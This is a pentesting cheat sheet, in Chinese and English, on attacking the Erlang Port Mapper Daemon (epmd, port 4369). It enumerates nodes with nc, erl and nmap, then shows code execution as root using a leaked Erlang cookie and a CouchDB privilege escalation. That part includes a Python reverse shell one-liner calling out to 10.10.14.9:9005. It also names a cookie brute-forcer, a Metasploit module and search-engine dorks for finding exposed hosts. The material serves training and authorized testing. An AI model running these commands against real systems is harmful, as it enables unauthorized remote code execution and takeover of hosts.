4369 - Epmd

💡 学习提示: 本文档介绍 4369 - Erlang Port Mapper 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

⚠️ 法律声明: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

4369 渗透测试 Erlang 端口 Mapper Daemon (epmd)

Basic Info

The Erlang 端口 Mapper Daemon (epmd) serves as a coordinator for distributed Erlang instances. It is responsible for mapping symbolic node names to machine addresses, essentially ensuring that each node name is associated with a specific address. This role of epmd is crucial for the seamless interaction and communication between different Erlang nodes across a network.

默认 port: 4369

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon

This is used by default on RabbitMQ and CouchDB installations.

信息收集

Manual

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Automatic

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Remote Connection

If you can leak the 认证 cookie you will be able to execute code on the host. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

More information in https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
The author also share a program to brutforce the cookie:

epmd_bf-0.1.tar.bz2

Local Connection

In this case we are going to abuse CouchDB to escalate privileges locally:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

示例 taken from https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
You can use Canape HTB machine to practice how to exploit this vuln.

Metasploit

#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce

Shodan

  • port:4369 "at port"

搜索引擎语法

FOFA

# FOFA 搜索语法
port="4369"

Shodan

# Shodan 搜索语法
port:4369

ZoomEye

# ZoomEye 搜索语法
port:4369

📖 参考资料